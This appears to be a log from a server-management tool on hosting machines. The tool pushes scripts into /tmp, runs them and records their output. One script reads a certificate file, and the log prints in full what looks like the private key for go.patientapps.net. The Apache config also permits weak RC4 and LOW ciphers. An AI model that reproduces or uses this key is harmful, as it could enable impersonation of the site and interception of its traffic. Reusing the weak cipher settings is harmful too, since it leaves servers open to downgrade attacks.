SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
2025-12-15 06:01:21:
PUT: /tmp/pkp242280
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:01:21:
chmod 755 /tmp/pkp242280; /tmp/pkp242280; rm /tmp/pkp242280
2025-12-15 06:01:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt 5360
fc:29:4f:4e:39:4e:11:65:d6:8b:a7:d8:b9:dd:24:cd
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBQvhiTe5jCt6ahEnrCu16UYfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjQ5WhcNMjYwMzE1MDUwMjQ4WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHxggXG6cNMnmZxYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gU
Jzdd7tLLo8BSQKXFbtq5bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtP
KVaY/i5J8kvhNN7BpCxUtzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+
aAdlFpFnNzlMRVDimuxjoWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f
4eqeZT2X5lBAGcI4iIJg4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I
74nXtZOPpEweXBQleif5ffR7EHSpAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFCSXNlRhf7dqcUVOy/pMSbgZEwdJMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbIJla0AAABAMA
RzBFAiEAmkIUN+aQx41nr4Qg9aeHLRtosnZ3TYL2FZaaJleeeqcCIAtZcURvEZ4l
k1cl8p+qEvlOxKdsaRVmavFeKahe7BPtAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2
pPM2bkakPw/KqcYAAAGbIJlaqQAABAMASDBGAiEA46v+KSHYarP++3cVPS/PUo6f
i95Vm+8/vMe5wnq8wcMCIQC6xUDzB35aMSzUT0TgnKLJa1x/ntIrY6i9MdNX5aKh
AjANBgkqhkiG9w0BAQsFAAOCAQEAQpFoOQjkozimeYxFfkmGSzHhLNei97LYXrgR
id/yodZ68t1FfKOgqjZIbDfn6BDbov2d90XwHgDd0pvhlI9G/VKHUD3Qx+h4TRqT
DelX55U/lJ23uxdjUaCcw2eX0qecf/wfUO24im+rypIjOsn8KVIWMOLoqHb33NQr
kPjfLAb7RZJWVc62xJiPCNI4uFmtocHh64aaLZXMsQ9ZVgQOuar2rAiIVLp7DNbk
nl0FeIT2KYC/JQQIULkyecb56SzgBlidtgJOHGlhiOkf+vQKkWV6pMgMUHUyoTpL
wm97/rvVpJinenUC2TowULUJ+LC++9FsWuW3f64SL8gV0mASeg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHxggXG6cNMnmZ
xYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gUJzdd7tLLo8BSQKXFbtq5
bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtPKVaY/i5J8kvhNN7BpCxU
tzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+aAdlFpFnNzlMRVDimuxj
oWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f4eqeZT2X5lBAGcI4iIJg
4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I74nXtZOPpEweXBQleif5
ffR7EHSpAgMBAAECggEARzK33Wx4jAaKOhif8zXFCBBaa5gRraY//REOYd+mRBNe
8pXeDPuydJs0kkIrxGmCbRtORsJNkmDgySeZ5TA5q+m8/lp93rO/3Tqdjmo5QV/G
d8Gk69jVpLpm8t6bw2kLnEUjb/8EyOS2+/ZS2piS3sITE+A4tb84/6Nz5+mlMsXC
/WEjdR9+mTe4lJd9VhqIgGCVH7kmPGkSGNdMxFs003dIAbLeUZlj9NaBdDkoHcm/
ocNcMsyHKi6oSOeIT28BgSM0Gw0cHPVW9IfS9u2JcJPfcmHZ73AzOeO/fy9/THOK
8hoPhKU1KTIrCo0HuUuKc/pubGmd2G1vPL6X5vI2EQKBgQD1ZlKCKKsOdeO5PBUU
LO3Mbpxl1ZrR89Vrs8ld40/XPIeZ7GPwzS/wpQtVI5EuDT6ZPM6mKx0sO3jqDTzP
FmUqinoTSOKKYdYs0m6Fp0gSchjhe7MZCq9EYWF7p20RGnaJHzU8tJPcg3QaWqC5
Vz/6vmJK7soN7fBX32eq1Lyo9QKBgQDQZyqmQQxh29quyn81ZvYSQ6NenMAFt2sm
ucIvJRwsoDdyWyGHMjIE582UgKevAkwLCYVpPStlCoEFzilUlH3YPOJYA1BCuLRJ
PQ0JH5v5mDlF7mZywxCVB/GdqeC1V7y7R2YNFedARxxJBgzDvYya+1uPRupZwYaM
5vshxSscZQKBgQCEtuC6Waog+Oq+O9sefSnh3JQiksHW9+qdA69MYmnEeozPVsO5
8A4UM/4L/l8+q5UGJJeR0FFHoaZD1gLj8DWoKxnYIhu6QS0mMmvpRk25BBGmqFJ0
oY2mCpBA4oweqtQeVk1hVjt9D26T7h1r/t6wCZR49+k4XU0VCNI01jZtnQKBgHvU
YS4qRo47EYR8g/uaMyqFECSepSaAZuW6yJw0w7nsdSW46oInnDr39VqA26IMjlyc
iq4Oj6NZC3MEneBI30HGY4OCbIVItK8z3HQIWSiEf7uCvVMBfu/eqX1SPFfkSxtI
gGXUFvVFi5QEST9heJN6OVw3+fXdHPLKKHxXaJdVAoGACDteGt6OBh1kZSpppzIc
mGRIo/FxtqNZ4fJsPUg5IiI9/MzzLl8fXc4hDJS8dQZJGJsP9jLjbTMk4XRAP51p
wZ9SyNZLZrImrNRbc99pFWVkealMGS+sg0l6WdGg+qDln/QR0qWEBRgI3FVs6Hc/
zpztHZhJpLB/f4Ev/myRjoQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-15 06:01:21: Establishing a connection
2025-12-15 06:01:22: Establishing a connection
2025-12-15 06:01:23:
PUT: /tmp/pkp970039
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-15 06:01:24:
chmod 755 /tmp/pkp970039; /tmp/pkp970039; rm /tmp/pkp970039
2025-12-15 06:01:24:
0
2025-12-16 06:00:03: Establishing a connection
2025-12-16 06:00:04: Establishing a connection
2025-12-16 06:00:05:
PUT: /tmp/pkp373687
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-16 06:00:06:
chmod 755 /tmp/pkp373687; /tmp/pkp373687; rm /tmp/pkp373687
2025-12-16 06:00:06:
0
2025-12-17 06:00:02: Establishing a connection
2025-12-17 06:00:03: Establishing a connection
2025-12-17 06:00:04:
PUT: /tmp/pkp683480
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-17 06:00:05:
chmod 755 /tmp/pkp683480; /tmp/pkp683480; rm /tmp/pkp683480
2025-12-17 06:00:05:
0
2025-12-18 06:00:02: Establishing a connection
2025-12-18 06:00:03: Establishing a connection
2025-12-18 06:00:04:
PUT: /tmp/pkp126797
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-18 06:00:05:
chmod 755 /tmp/pkp126797; /tmp/pkp126797; rm /tmp/pkp126797
2025-12-18 06:00:05:
0
2025-12-19 06:00:03: Establishing a connection
2025-12-19 06:00:04: Establishing a connection
2025-12-19 06:00:05:
PUT: /tmp/pkp269706
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-19 06:00:06:
chmod 755 /tmp/pkp269706; /tmp/pkp269706; rm /tmp/pkp269706
2025-12-19 06:00:06:
0
2025-12-19 12:10:39: Establishing a connection
2025-12-19 12:10:50: Establishing a connection
2025-12-19 12:10:50:
PUT: /tmp/pkp402278
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-19 12:10:50:
runuser -l bind -s /bin/bash -c '/tmp/pkp402278; rm /tmp/pkp402278'
2025-12-19 12:10:50:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
